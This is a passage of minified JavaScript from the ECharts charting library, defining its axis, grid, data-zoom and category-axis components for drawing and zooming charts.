i;t&&(this.option=t,"xAxis"===this.axisType?(this.option.xAxis=this.reformOption(t.xAxis),i=this.option.xAxis):(this.option.yAxis=this.reformOption(t.yAxis),i=this.option.yAxis),this.series=t.series);for(var n=e("./categoryAxis"),a=e("./valueAxis"),o=Math.max(i&&i.length||0,this._axisList.length),r=0;o>r;r++)!this._axisList[r]||!t||i[r]&&this._axisList[r].type==i[r].type||(this._axisList[r].dispose&&this._axisList[r].dispose(),this._axisList[r]=!1),this._axisList[r]?this._axisList[r].refresh&&this._axisList[r].refresh(i?i[r]:!1,this.series):i&&i[r]&&(this._axisList[r]="category"===i[r].type?new n(this.ecTheme,this.messageCenter,this.zr,i[r],this.myChart,this.axisBase):new a(this.ecTheme,this.messageCenter,this.zr,i[r],this.myChart,this.axisBase,this.series))},getAxis:function(e){return this._axisList[e]},getAxisCount:function(){return this._axisList.length},clear:function(){for(var e=0,t=this._axisList.length;t>e;e++)this._axisList[e].dispose&&this._axisList[e].dispose();this._axisList=[]}},r.inherits(t,i),e("../component").define("axis",t),t}),i("echarts/component/grid",["require","./base","zrender/shape/Rectangle","../config","zrender/tool/util","../component"],function(e){function t(e,t,n,a,o){i.call(this,e,t,n,a,o),this.refresh(a)}var i=e("./base"),n=e("zrender/shape/Rectangle"),a=e("../config");a.grid={zlevel:0,z:0,x:80,y:60,x2:80,y2:60,backgroundColor:"rgba(0,0,0,0)",borderWidth:1,borderColor:"#ccc"};var o=e("zrender/tool/util");return t.prototype={type:a.COMPONENT_TYPE_GRID,getX:function(){return this._x},getY:function(){return this._y},getWidth:function(){return this._width},getHeight:function(){return this._height},getXend:function(){return this._x+this._width},getYend:function(){return this._y+this._height},getArea:function(){return{x:this._x,y:this._y,width:this._width,height:this._height}},getBbox:function(){return[[this._x,this._y],[this.getXend(),this.getYend()]]},refixAxisShape:function(e){for(var t,i,n,o=e.xAxis._axisList.concat(e.yAxis?e.yAxis._axisList:[]),r=o.length;r--;)n=o[r],n.type==a.COMPONENT_TYPE_AXIS_VALUE&&n._min<0&&n._max>=0&&(n.isHorizontal()?t=n.getCoord(0):i=n.getCoord(0));if("undefined"!=typeof t||"undefined"!=typeof i)for(r=o.length;r--;)o[r].refixAxisShape(t,i)},refresh:function(e){if(e||this._zrWidth!=this.zr.getWidth()||this._zrHeight!=this.zr.getHeight()){this.clear(),this.option=e||this.option,this.option.grid=this.reformOption(this.option.grid);var t=this.option.grid;this._zrWidth=this.zr.getWidth(),this._zrHeight=this.zr.getHeight(),this._x=this.parsePercent(t.x,this._zrWidth),this._y=this.parsePercent(t.y,this._zrHeight);var i=this.parsePercent(t.x2,this._zrWidth),a=this.parsePercent(t.y2,this._zrHeight);this._width="undefined"==typeof t.width?this._zrWidth-this._x-i:this.parsePercent(t.width,this._zrWidth),this._width=this._width<=0?10:this._width,this._height="undefined"==typeof t.height?this._zrHeight-this._y-a:this.parsePercent(t.height,this._zrHeight),this._height=this._height<=0?10:this._height,this._x=this.subPixelOptimize(this._x,t.borderWidth),this._y=this.subPixelOptimize(this._y,t.borderWidth),this.shapeList.push(new n({zlevel:this.getZlevelBase(),z:this.getZBase(),hoverable:!1,style:{x:this._x,y:this._y,width:this._width,height:this._height,brushType:t.borderWidth>0?"both":"fill",color:t.backgroundColor,strokeColor:t.borderColor,lineWidth:t.borderWidth}})),this.zr.addShape(this.shapeList[0])}}},o.inherits(t,i),e("../component").define("grid",t),t}),i("echarts/component/dataZoom",["require","./base","zrender/shape/Rectangle","zrender/shape/Polygon","../util/shape/Icon","../config","../util/date","zrender/tool/util","../component"],function(e){function t(e,t,n,a,o){i.call(this,e,t,n,a,o);var r=this;r._ondrift=function(e,t){return r.__ondrift(this,e,t)},r._ondragend=function(){return r.__ondragend()},this._fillerSize=30,this._isSilence=!1,this._zoom={},this.option.dataZoom=this.reformOption(this.option.dataZoom),this.zoomOption=this.option.dataZoom,this._handleSize=this.zoomOption.handleSize,this.myChart.canvasSupported||(this.zoomOption.realtime=!1),this._location=this._getLocation(),this._zoom=this._getZoom(),this._backupData(),this.option.dataZoom.show&&this._buildShape(),this._syncData()}var i=e("./base"),n=e("zrender/shape/Rectangle"),a=e("zrender/shape/Polygon"),o=e("../util/shape/Icon"),r=e("../config");r.dataZoom={zlevel:0,z:4,show:!1,orient:"horizontal",backgroundColor:"rgba(0,0,0,0)",dataBackgroundColor:"#eee",fillerColor:"rgba(144,197,237,0.2)",handleColor:"rgba(70,130,180,0.8)",handleSize:8,showDetail:!0,realtime:!0};var s=e("../util/date"),l=e("zrender/tool/util");return t.prototype={type:r.COMPONENT_TYPE_DATAZOOM,_buildShape:function(){this._buildBackground(),this._buildFiller(),this._buildHandle(),this._buildFrame();for(var e=0,t=this.shapeList.length;t>e;e++)this.zr.addShape(this.shapeList[e]);this._syncFrameShape()},_getLocation:function(){var e,t,i,n,a=this.component.grid;return"horizontal"==this.zoomOption.orient?(i=this.zoomOption.width||a.getWidth(),n=this.zoomOption.height||this._fillerSize,e=null!=this.zoomOption.x?this.zoomOption.x:a.getX(),t=null!=this.zoomOption.y?this.zoomOption.y:this.zr.getHeight()-n-2):(i=this.zoomOption.width||this._fillerSize,n=this.zoomOption.height||a.getHeight(),e=null!=this.zoomOption.x?this.zoomOption.x:2,t=null!=this.zoomOption.y?this.zoomOption.y:a.getY()),{x:e,y:t,width:i,height:n}},_getZoom:function(){var e=this.option.series,t=this.option.xAxis;!t||t instanceof Array||(t=[t],this.option.xAxis=t);var i=this.option.yAxis;!i||i instanceof Array||(i=[i],this.option.yAxis=i);var n,a,o=[],s=this.zoomOption.xAxisIndex;if(t&&null==s){n=[];for(var l=0,h=t.length;h>l;l++)("category"==t[l].type||null==t[l].type)&&n.push(l)}else n=s instanceof Array?s:null!=s?[s]:[];if(s=this.zoomOption.yAxisIndex,i&&null==s){a=[];for(var l=0,h=i.length;h>l;l++)"category"==i[l].type&&a.push(l)}else a=s instanceof Array?s:null!=s?[s]:[];for(var m,l=0,h=e.length;h>l;l++)if(m=e[l],m.type==r.CHART_TYPE_LINE||m.type==r.CHART_TYPE_BAR||m.type==r.CHART_TYPE_SCATTER||m.type==r.CHART_TYPE_K){for(var V=0,U=n.length;U>V;V++)if(n[V]==(m.xAxisIndex||0)){o.push(l);break}for(var V=0,U=a.length;U>V;V++)if(a[V]==(m.yAxisIndex||0)){o.push(l);break}null==this.zoomOption.xAxisIndex&&null==this.zoomOption.yAxisIndex&&m.data&&this.getDataFromOption(m.data[0])instanceof Array&&(m.type==r.CHART_TYPE_SCATTER||m.type==r.CHART_TYPE_LINE||m.type==r.CHART_TYPE_BAR)&&o.push(l)}var d=null!=this._zoom.start?this._zoom.start:null!=this.zoomOption.start?this.zoomOption.start:0,p=null!=this._zoom.end?this._zoom.end:null!=this.zoomOption.end?this.zoomOption.end:100;d>p&&(d+=p,p=d-p,d-=p);var c=Math.round((p-d)/100*("horizontal"==this.zoomOption.orient?this._location.width:this._location.height));return{start:d,end:p,start2:0,end2:100,size:c,xAxisIndex:n,yAxisIndex:a,seriesIndex:o,scatterMap:this._zoom.scatterMap||{}}},_backupData:function(){this._originalData={xAxis:{},yAxis:{},series:{}};for(var e=this.option.xAxis,t=this._zoom.xAxisIndex,i=0,n=t.length;n>i;i++)this._originalData.xAxis[t[i]]=e[t[i]].data;for(var a=this.option.yAxis,o=this._zoom.yAxisIndex,i=0,n=o.length;n>i;i++)this._originalData.yAxis[o[i]]=a[o[i]].data;for(var s,l=this.option.series,h=this._zoom.seriesIndex,i=0,n=h.length;n>i;i++)s=l[h[i]],this._originalData.series[h[i]]=s.data,s.data&&this.getDataFromOption(s.data[0])instanceof Array&&(s.type==r.CHART_TYPE_SCATTER||s.type==r.CHART_TYPE_LINE||s.type==r.CHART_TYPE_BAR)&&(this._backupScale(),this._calculScatterMap(h[i]))},_calculScatterMap:function(t){this._zoom.scatterMap=this._zoom.scatterMap||{},this._zoom.scatterMap[t]=this._zoom.scatterMap[t]||{};var i=e("../component"),n=i.get("axis"),a=l.clone(this.option.xAxis);"category"==a[0].type&&(a[0].type="value"),a[1]&&"category"==a[1].type&&(a[1].type="value");var o=new n(this.ecTheme,null,!1,{xAxis:a,series:this.option.series},this,"xAxis"),r=this.option.series[t].xAxisIndex||0;this._zoom.scatterMap[t].x=o.getAxis(r).getExtremum(),o.dispose(),a=l.clone(this.option.yAxis),"category"==a[0].type&&(a[0].type="value"),a[1]&&"category"==a[1].type&&(a[1].type="value"),o=new n(this.ecTheme,null,!1,{yAxis:a,series:this.option.series},this,"yAxis"),r=this.option.series[t].yAxisIndex||0,this._zoom.scatterMap[t].y=o.getAxis(r).getExtremum(),o.dispose()},_buildBackground:function(){var e=this._location.width,t=this._location.height;this.shapeList.push(new n({zlevel:this.getZlevelBase(),z:this.getZBase(),hoverable:!1,style:{x:this._location.x,y:this._location.y,width:e,height:t,color:this.zoomOption.backgroundColor}}));for(var i=0,o=this._originalData.xAxis,s=this._zoom.xAxisIndex,l=0,h=s.length;h>l;l++)i=Math.max(i,o[s[l]].length);for(var m=this._originalData.yAxis,V=this._zoom.yAxisIndex,l=0,h=V.length;h>l;l++)i=Math.max(i,m[V[l]].length);for(var U,d=this._zoom.seriesIndex[0],p=this._originalData.series[d],c=Number.MIN_VALUE,u=Number.MAX_VALUE,l=0,h=p.length;h>l;l++)U=this.getDataFromOption(p[l],0),this.option.series[d].type==r.CHART_TYPE_K&&(U=U[1]),isNaN(U)&&(U=0),c=Math.max(c,U),u=Math.min(u,U);var y=c-u,g=[],b=e/(i-(i>1?1:0)),f=t/(i-(i>1?1:0)),k=1;"horizontal"==this.zoomOption.orient&&1>b?k=Math.floor(3*i/e):"vertical"==this.zoomOption.orient&&1>f&&(k=Math.floor(3*i/t));for(var l=0,h=i;h>l;l+=k)U=this.getDataFromOption(p[l],0),this.option.series[d].type==r.CHART_TYPE_K&&(U=U[1]),isNaN(U)&&(U=0),g.push("horizontal"==this.zoomOption.orient?[this._location.x+b*l,this._location.y+t-1-Math.round((U-u)/y*(t-10))]:[this._location.x+1+Math.round((U-u)/y*(e-10)),this._location.y+f*(h-l-1)]);"horizontal"==this.zoomOption.orient?(g.push([this._location.x+e,this._location.y+t]),g.push([this._location.x,this._location.y+t])):(g.push([this._location.x,this._location.y]),g.push([this._location.x,this._location.y+t])),this.shapeList.push(new a({zlevel:this.getZlevelBase(),z:this.getZBase(),style:{pointList:g,color:this.zoomOption.dataBackgroundColor},hoverable:!1}))},_buildFiller:function(){this._fillerShae={zlevel:this.getZlevelBase(),z:this.getZBase(),draggable:!0,ondrift:this._ondrift,ondragend:this._ondragend,_type:"filler"},this._fillerShae.style="horizontal"==this.zoomOption.orient?{x:this._location.x+Math.round(this._zoom.start/100*this._location.width)+this._handleSize,y:this._location.y,width:this._zoom.size-2*this._handleSize,height:this._location.height,color:this.zoomOption.fillerColor,text:":::",textPosition:"inside"}:{x:this._location.x,y:this._location.y+Math.round(this._zoom.start/100*this._location.height)+this._handleSize,width:this._location.width,height:this._zoom.size-2*this._handleSize,color:this.zoomOption.fillerColor,text:"::",textPosition:"inside"},this._fillerShae.highlightStyle={brushType:"fill",color:"rgba(0,0,0,0)"},this._fillerShae=new n(this._fillerShae),this.shapeList.push(this._fillerShae)},_buildHandle:function(){var e=this.zoomOption.showDetail?this._getDetail():{start:"",end:""};this._startShape={zlevel:this.getZlevelBase(),z:this.getZBase(),draggable:!0,style:{iconType:"rectangle",x:this._location.x,y:this._location.y,width:this._handleSize,height:this._handleSize,color:this.zoomOption.handleColor,text:"=",textPosition:"inside"},highlightStyle:{text:e.start,brushType:"fill",textPosition:"left"},ondrift:this._ondrift,ondragend:this._ondragend},"horizontal"==this.zoomOption.orient?(this._startShape.style.height=this._location.height,this._endShape=l.clone(this._startShape),this._startShape.style.x=this._fillerShae.style.x-this._handleSize,this._endShape.style.x=this._fillerShae.style.x+this._fillerShae.style.width,this._endShape.highlightStyle.text=e.end,this._endShape.highlightStyle.textPosition="right"):(this._startShape.style.width=this._location.width,this._endShape=l.clone(this._startShape),this._startShape.style.y=this._fillerShae.style.y+this._fillerShae.style.height,this._startShape.highlightStyle.textPosition="bottom",this._endShape.style.y=this._fillerShae.style.y-this._handleSize,this._endShape.highlightStyle.text=e.end,this._endShape.highlightStyle.textPosition="top"),this._startShape=new o(this._startShape),this._endShape=new o(this._endShape),this.shapeList.push(this._startShape),this.shapeList.push(this._endShape)},_buildFrame:function(){var e=this.subPixelOptimize(this._location.x,1),t=this.subPixelOptimize(this._location.y,1);this._startFrameShape={zlevel:this.getZlevelBase(),z:this.getZBase(),hoverable:!1,style:{x:e,y:t,width:this._location.width-(e>this._location.x?1:0),height:this._location.height-(t>this._location.y?1:0),lineWidth:1,brushType:"stroke",strokeColor:this.zoomOption.handleColor}},this._endFrameShape=l.clone(this._startFrameShape),this._startFrameShape=new n(this._startFrameShape),this._endFrameShape=new n(this._endFrameShape),this.shapeList.push(this._startFrameShape),this.shapeList.push(this._endFrameShape)},_syncHandleShape:function(){"horizontal"==this.zoomOption.orient?(this._startShape.style.x=this._fillerShae.style.x-this._handleSize,this._endShape.style.x=this._fillerShae.style.x+this._fillerShae.style.width,this._zoom.start=(this._startShape.style.x-this._location.x)/this._location.width*100,this._zoom.end=(this._endShape.style.x+this._handleSize-this._location.x)/this._location.width*100):(this._startShape.style.y=this._fillerShae.style.y+this._fillerShae.style.height,this._endShape.style.y=this._fillerShae.style.y-this._handleSize,this._zoom.start=(this._location.y+this._location.height-this._startShape.style.y)/this._location.height*100,this._zoom.end=(this._location.y+this._location.height-this._endShape.style.y-this._handleSize)/this._location.height*100),this.zr.modShape(this._startShape.id),this.zr.modShape(this._endShape.id),this._syncFrameShape(),this.zr.refreshNextFrame()},_syncFillerShape:function(){var e,t;"horizontal"==this.zoomOption.orient?(e=this._startShape.style.x,t=this._endShape.style.x,this._fillerShae.style.x=Math.min(e,t)+this._handleSize,this._fillerShae.style.width=Math.abs(e-t)-this._handleSize,this._zoom.start=(Math.min(e,t)-this._location.x)/this._location.width*100,this._zoom.end=(Math.max(e,t)+this._handleSize-this._location.x)/this._location.width*100):(e=this._startShape.style.y,t=this._endShape.style.y,this._fillerShae.style.y=Math.min(e,t)+this._handleSize,this._fillerShae.style.height=Math.abs(e-t)-this._handleSize,this._zoom.start=(this._location.y+this._location.height-Math.max(e,t))/this._location.height*100,this._zoom.end=(this._location.y+this._location.height-Math.min(e,t)-this._handleSize)/this._location.height*100),this.zr.modShape(this._fillerShae.id),this._syncFrameShape(),this.zr.refreshNextFrame()},_syncFrameShape:function(){"horizontal"==this.zoomOption.orient?(this._startFrameShape.style.width=this._fillerShae.style.x-this._location.x,this._endFrameShape.style.x=this._fillerShae.style.x+this._fillerShae.style.width,this._endFrameShape.style.width=this._location.x+this._location.width-this._endFrameShape.style.x):(this._startFrameShape.style.y=this._fillerShae.style.y+this._fillerShae.style.height,this._startFrameShape.style.height=this._location.y+this._location.height-this._startFrameShape.style.y,this._endFrameShape.style.height=this._fillerShae.style.y-this._location.y),this.zr.modShape(this._startFrameShape.id),this.zr.modShape(this._endFrameShape.id)},_syncShape:function(){this.zoomOption.show&&("horizontal"==this.zoomOption.orient?(this._startShape.style.x=this._location.x+this._zoom.start/100*this._location.width,this._endShape.style.x=this._location.x+this._zoom.end/100*this._location.width-this._handleSize,this._fillerShae.style.x=this._startShape.style.x+this._handleSize,this._fillerShae.style.width=this._endShape.style.x-this._startShape.style.x-this._handleSize):(this._startShape.style.y=this._location.y+this._location.height-this._zoom.start/100*this._location.height,this._endShape.style.y=this._location.y+this._location.height-this._zoom.end/100*this._location.height-this._handleSize,this._fillerShae.style.y=this._endShape.style.y+this._handleSize,this._fillerShae.style.height=this._startShape.style.y-this._endShape.style.y-this._handleSize),this.zr.modShape(this._startShape.id),this.zr.modShape(this._endShape.id),this.zr.modShape(this._fillerShae.id),this._syncFrameShape(),this.zr.refresh())},_syncData:function(e){var t,i,n,a,o;for(var s in this._originalData){t=this._originalData[s];for(var l in t)o=t[l],null!=o&&(a=o.length,i=Math.floor(this._zoom.start/100*a),n=Math.ceil(this._zoom.end/100*a),this.getDataFromOption(o[0])instanceof Array&&this.option[s][l].type!=r.CHART_TYPE_K?(this._setScale(),this.option[s][l].data=this._synScatterData(l,o)):this.option[s][l].data=o.slice(i,n))}this._isSilence||!this.zoomOption.realtime&&!e||this.messageCenter.dispatch(r.EVENT.DATA_ZOOM,null,{zoom:this._zoom},this.myChart)},_synScatterData:function(e,t){if(0===this._zoom.start&&100==this._zoom.end&&0===this._zoom.start2&&100==this._zoom.end2)return t;var i,n,a,o,r,s=[],l=this._zoom.scatterMap[e]; + +"horizontal"==this.zoomOption.orient?(i=l.x.max-l.x.min,n=this._zoom.start/100*i+l.x.min,a=this._zoom.end/100*i+l.x.min,i=l.y.max-l.y.min,o=this._zoom.start2/100*i+l.y.min,r=this._zoom.end2/100*i+l.y.min):(i=l.x.max-l.x.min,n=this._zoom.start2/100*i+l.x.min,a=this._zoom.end2/100*i+l.x.min,i=l.y.max-l.y.min,o=this._zoom.start/100*i+l.y.min,r=this._zoom.end/100*i+l.y.min);var h;(h=l.x.dataMappingMethods)&&(n=h.coord2Value(n),a=h.coord2Value(a)),(h=l.y.dataMappingMethods)&&(o=h.coord2Value(o),r=h.coord2Value(r));for(var m,V=0,U=t.length;U>V;V++)m=t[V].value||t[V],m[0]>=n&&m[0]<=a&&m[1]>=o&&m[1]<=r&&s.push(t[V]);return s},_setScale:function(){var e=0!==this._zoom.start||100!==this._zoom.end||0!==this._zoom.start2||100!==this._zoom.end2,t={xAxis:this.option.xAxis,yAxis:this.option.yAxis};for(var i in t)for(var n=0,a=t[i].length;a>n;n++)t[i][n].scale=e||t[i][n]._scale},_backupScale:function(){var e={xAxis:this.option.xAxis,yAxis:this.option.yAxis};for(var t in e)for(var i=0,n=e[t].length;n>i;i++)e[t][i]._scale=e[t][i].scale},_getDetail:function(){for(var e=["xAxis","yAxis"],t=0,i=e.length;i>t;t++){var n=this._originalData[e[t]];for(var a in n){var o=n[a];if(null!=o){var r=o.length,l=Math.floor(this._zoom.start/100*r),h=Math.ceil(this._zoom.end/100*r);return h-=h>0?1:0,{start:this.getDataFromOption(o[l]),end:this.getDataFromOption(o[h])}}}}e="horizontal"==this.zoomOption.orient?"xAxis":"yAxis";var m=this._zoom.seriesIndex[0],V=this.option.series[m][e+"Index"]||0,U=this.option[e][V].type,d=this._zoom.scatterMap[m][e.charAt(0)].min,p=this._zoom.scatterMap[m][e.charAt(0)].max,c=p-d;if("value"==U)return{start:d+c*this._zoom.start/100,end:d+c*this._zoom.end/100};if("time"==U){p=d+c*this._zoom.end/100,d+=c*this._zoom.start/100;var u=s.getAutoFormatter(d,p).formatter;return{start:s.format(u,d),end:s.format(u,p)}}return{start:"",end:""}},__ondrift:function(e,t,i){this.zoomOption.zoomLock&&(e=this._fillerShae);var n="filler"==e._type?this._handleSize:0;if("horizontal"==this.zoomOption.orient?e.style.x+t-n<=this._location.x?e.style.x=this._location.x+n:e.style.x+t+e.style.width+n>=this._location.x+this._location.width?e.style.x=this._location.x+this._location.width-e.style.width-n:e.style.x+=t:e.style.y+i-n<=this._location.y?e.style.y=this._location.y+n:e.style.y+i+e.style.height+n>=this._location.y+this._location.height?e.style.y=this._location.y+this._location.height-e.style.height-n:e.style.y+=i,"filler"==e._type?this._syncHandleShape():this._syncFillerShape(),this.zoomOption.realtime&&this._syncData(),this.zoomOption.showDetail){var a=this._getDetail();this._startShape.style.text=this._startShape.highlightStyle.text=a.start,this._endShape.style.text=this._endShape.highlightStyle.text=a.end,this._startShape.style.textPosition=this._startShape.highlightStyle.textPosition,this._endShape.style.textPosition=this._endShape.highlightStyle.textPosition}return!0},__ondragend:function(){this.zoomOption.showDetail&&(this._startShape.style.text=this._endShape.style.text="=",this._startShape.style.textPosition=this._endShape.style.textPosition="inside",this.zr.modShape(this._startShape.id),this.zr.modShape(this._endShape.id),this.zr.refreshNextFrame()),this.isDragend=!0},ondragend:function(e,t){this.isDragend&&e.target&&(!this.zoomOption.realtime&&this._syncData(),t.dragOut=!0,t.dragIn=!0,this._isSilence||this.zoomOption.realtime||this.messageCenter.dispatch(r.EVENT.DATA_ZOOM,null,{zoom:this._zoom},this.myChart),t.needRefresh=!1,this.isDragend=!1)},ondataZoom:function(e,t){t.needRefresh=!0},absoluteZoom:function(e){this._zoom.start=e.start,this._zoom.end=e.end,this._zoom.start2=e.start2,this._zoom.end2=e.end2,this._syncShape(),this._syncData(!0)},rectZoom:function(e){if(!e)return this._zoom.start=this._zoom.start2=0,this._zoom.end=this._zoom.end2=100,this._syncShape(),this._syncData(!0),this._zoom;var t=this.component.grid.getArea(),i={x:e.x,y:e.y,width:e.width,height:e.height};if(i.width<0&&(i.x+=i.width,i.width=-i.width),i.height<0&&(i.y+=i.height,i.height=-i.height),i.x>t.x+t.width||i.y>t.y+t.height)return!1;i.xt.x+t.width&&(i.width=t.x+t.width-i.x),i.y+i.height>t.y+t.height&&(i.height=t.y+t.height-i.y);var n,a=(i.x-t.x)/t.width,o=1-(i.x+i.width-t.x)/t.width,r=1-(i.y+i.height-t.y)/t.height,s=(i.y-t.y)/t.height;return"horizontal"==this.zoomOption.orient?(n=this._zoom.end-this._zoom.start,this._zoom.start+=n*a,this._zoom.end-=n*o,n=this._zoom.end2-this._zoom.start2,this._zoom.start2+=n*r,this._zoom.end2-=n*s):(n=this._zoom.end-this._zoom.start,this._zoom.start+=n*r,this._zoom.end-=n*s,n=this._zoom.end2-this._zoom.start2,this._zoom.start2+=n*a,this._zoom.end2-=n*o),this._syncShape(),this._syncData(!0),this._zoom},syncBackupData:function(e){for(var t,i,n=this._originalData.series,a=e.series,o=0,r=a.length;r>o;o++){i=a[o].data||a[o].eventList,t=n[o]?Math.floor(this._zoom.start/100*n[o].length):0;for(var s=0,l=i.length;l>s;s++)n[o]&&(n[o][s+t]=i[s])}},syncOption:function(e){this.silence(!0),this.option=e,this.option.dataZoom=this.reformOption(this.option.dataZoom),this.zoomOption=this.option.dataZoom,this.myChart.canvasSupported||(this.zoomOption.realtime=!1),this.clear(),this._location=this._getLocation(),this._zoom=this._getZoom(),this._backupData(),this.option.dataZoom&&this.option.dataZoom.show&&this._buildShape(),this._syncData(),this.silence(!1)},silence:function(e){this._isSilence=e},getRealDataIndex:function(e,t){if(!this._originalData||0===this._zoom.start&&100==this._zoom.end)return t;var i=this._originalData.series;return i[e]?Math.floor(this._zoom.start/100*i[e].length)+t:-1},resize:function(){this.clear(),this._location=this._getLocation(),this._zoom=this._getZoom(),this.option.dataZoom.show&&this._buildShape()}},l.inherits(t,i),e("../component").define("dataZoom",t),t}),i("echarts/component/categoryAxis",["require","./base","zrender/shape/Text","zrender/shape/Line","zrender/shape/Rectangle","../config","zrender/tool/util","zrender/tool/area","../component"],function(e){function t(e,t,n,a,o,r){if(a.data.length<1)return void console.error("option.data.length < 1.");i.call(this,e,t,n,a,o),this.grid=this.component.grid;for(var s in r)this[s]=r[s];this.refresh(a)}var i=e("./base"),n=e("zrender/shape/Text"),a=e("zrender/shape/Line"),o=e("zrender/shape/Rectangle"),r=e("../config");r.categoryAxis={zlevel:0,z:0,show:!0,position:"bottom",name:"",nameLocation:"end",nameTextStyle:{},boundaryGap:!0,axisLine:{show:!0,onZero:!0,lineStyle:{color:"#48b",width:2,type:"solid"}},axisTick:{show:!0,interval:"auto",inside:!1,length:5,lineStyle:{color:"#333",width:1}},axisLabel:{show:!0,interval:"auto",rotate:0,margin:8,textStyle:{color:"#333"}},splitLine:{show:!0,lineStyle:{color:["#ccc"],width:1,type:"solid"}},splitArea:{show:!1,areaStyle:{color:["rgba(250,250,250,0.3)","rgba(200,200,200,0.3)"]}}};var s=e("zrender/tool/util"),l=e("zrender/tool/area");return t.prototype={type:r.COMPONENT_TYPE_AXIS_CATEGORY,_getReformedLabel:function(e){var t=this.getDataFromOption(this.option.data[e]),i=this.option.data[e].formatter||this.option.axisLabel.formatter;return i&&("function"==typeof i?t=i.call(this.myChart,t):"string"==typeof i&&(t=i.replace("{value}",t))),t},_getInterval:function(){var e=this.option.axisLabel.interval;if("auto"==e){var t=this.option.axisLabel.textStyle.fontSize,i=this.option.data,n=this.option.data.length;if(this.isHorizontal())if(n>3){var a,o,r=this.getGap(),h=!1,m=Math.floor(.5/r);for(m=1>m?1:m,e=Math.floor(15/r);!h&&n>e;){e+=m,h=!0,a=Math.floor(r*e);for(var V=Math.floor((n-1)/e)*e;V>=0;V-=e){if(0!==this.option.axisLabel.rotate)o=t;else if(i[V].textStyle)o=l.getTextWidth(this._getReformedLabel(V),this.getFont(s.merge(i[V].textStyle,this.option.axisLabel.textStyle)));else{var U=this._getReformedLabel(V)+"",d=(U.match(/\w/g)||"").length,p=U.length-d;o=d*t*2/3+p*t}if(o>a){h=!1;break}}}}else e=1;else if(n>3){var r=this.getGap();for(e=Math.floor(11/r);t>r*e-6&&n>e;)e++}else e=1}else e="function"==typeof e?1:e-0+1;return e},_buildShape:function(){if(this._interval=this._getInterval(),this.option.show){this.option.splitArea.show&&this._buildSplitArea(),this.option.splitLine.show&&this._buildSplitLine(),this.option.axisLine.show&&this._buildAxisLine(),this.option.axisTick.show&&this._buildAxisTick(),this.option.axisLabel.show&&this._buildAxisLabel();for(var e=0,t=this.shapeList.length;t>e;e++)this.zr.addShape(this.shapeList[e])}},_buildAxisTick:function(){var e,t=this.option.data,i=this.option.data.length,n=this.option.axisTick,o=n.length,r=n.lineStyle.color,s=n.lineStyle.width,l="function"==typeof n.interval?n.interval:"auto"==n.interval&&"function"==typeof this.option.axisLabel.interval?this.option.axisLabel.interval:!1,h=l?1:"auto"==n.interval?this._interval:n.interval-0+1,m=n.onGap,V=m?this.getGap()/2:"undefined"==typeof m&&this.option.boundaryGap?this.getGap()/2:0,U=V>0?-h:0;if(this.isHorizontal())for(var d,p="bottom"==this.option.position?n.inside?this.grid.getYend()-o-1:this.grid.getYend()+1:n.inside?this.grid.getY()+1:this.grid.getY()-o-1,c=U;i>c;c+=h)(!l||l(c,t[c]))&&(d=this.subPixelOptimize(this.getCoordByIndex(c)+(c>=0?V:0),s),e={_axisShape:"axisTick",zlevel:this.getZlevelBase(),z:this.getZBase(),hoverable:!1,style:{xStart:d,yStart:p,xEnd:d,yEnd:p+o,strokeColor:r,lineWidth:s}},this.shapeList.push(new a(e)));else for(var u,y="left"==this.option.position?n.inside?this.grid.getX()+1:this.grid.getX()-o-1:n.inside?this.grid.getXend()-o-1:this.grid.getXend()+1,c=U;i>c;c+=h)(!l||l(c,t[c]))&&(u=this.subPixelOptimize(this.getCoordByIndex(c)-(c>=0?V:0),s),e={_axisShape:"axisTick",zlevel:this.getZlevelBase(),z:this.getZBase(),hoverable:!1,style:{xStart:y,yStart:u,xEnd:y+o,yEnd:u,strokeColor:r,lineWidth:s}},this.shapeList.push(new a(e)))},_buildAxisLabel:function(){var e,t,i=this.option.data,a=this.option.data.length,o=this.option.axisLabel,r=o.rotate,l=o.margin,h=o.clickable,m=o.textStyle,V="function"==typeof o.interval?o.interval:!1;if(this.isHorizontal()){var U,d;"bottom"==this.option.position?(U=this.grid.getYend()+l,d="top"):(U=this.grid.getY()-l,d="bottom");for(var p=0;a>p;p+=this._interval)V&&!V(p,i[p])||""===this._getReformedLabel(p)||(t=s.merge(i[p].textStyle||{},m),e={zlevel:this.getZlevelBase(),z:this.getZBase()+3,hoverable:!1,style:{x:this.getCoordByIndex(p),y:U,color:t.color,text:this._getReformedLabel(p),textFont:this.getFont(t),textAlign:t.align||"center",textBaseline:t.baseline||d}},r&&(e.style.textAlign=r>0?"bottom"==this.option.position?"right":"left":"bottom"==this.option.position?"left":"right",e.rotation=[r*Math.PI/180,e.style.x,e.style.y]),this.shapeList.push(new n(this._axisLabelClickable(h,e))))}else{var c,u;"left"==this.option.position?(c=this.grid.getX()-l,u="right"):(c=this.grid.getXend()+l,u="left");for(var p=0;a>p;p+=this._interval)V&&!V(p,i[p])||""===this._getReformedLabel(p)||(t=s.merge(i[p].textStyle||{},m),e={zlevel:this.getZlevelBase(),z:this.getZBase()+3,hoverable:!1,style:{x:c,y:this.getCoordByIndex(p),color:t.color,text:this._getReformedLabel(p),textFont:this.getFont(t),textAlign:t.align||u,textBaseline:t.baseline||0===p&&""!==this.option.name?"bottom":p==a-1&&""!==this.option.name?"top":"middle"}},r&&(e.rotation=[r*Math.PI/180,e.style.x,e.style.y]),this.shapeList.push(new n(this._axisLabelClickable(h,e))))}},_buildSplitLine:function(){var e,t=this.option.data,i=this.option.data.length,n=this.option.splitLine,o=n.lineStyle.type,r=n.lineStyle.width,s=n.lineStyle.color;s=s instanceof Array?s:[s];var l=s.length,h="function"==typeof this.option.axisLabel.interval?this.option.axisLabel.interval:!1,m=n.onGap,V=m?this.getGap()/2:"undefined"==typeof m&&this.option.boundaryGap?this.getGap()/2:0;if(i-=m||"undefined"==typeof m&&this.option.boundaryGap?1:0,this.isHorizontal())for(var U,d=this.grid.getY(),p=this.grid.getYend(),c=0;i>c;c+=this._interval)(!h||h(c,t[c]))&&(U=this.subPixelOptimize(this.getCoordByIndex(c)+V,r),e={zlevel:this.getZlevelBase(),z:this.getZBase(),hoverable:!1,style:{xStart:U,yStart:d,xEnd:U,yEnd:p,strokeColor:s[c/this._interval%l],lineType:o,lineWidth:r}},this.shapeList.push(new a(e)));else for(var 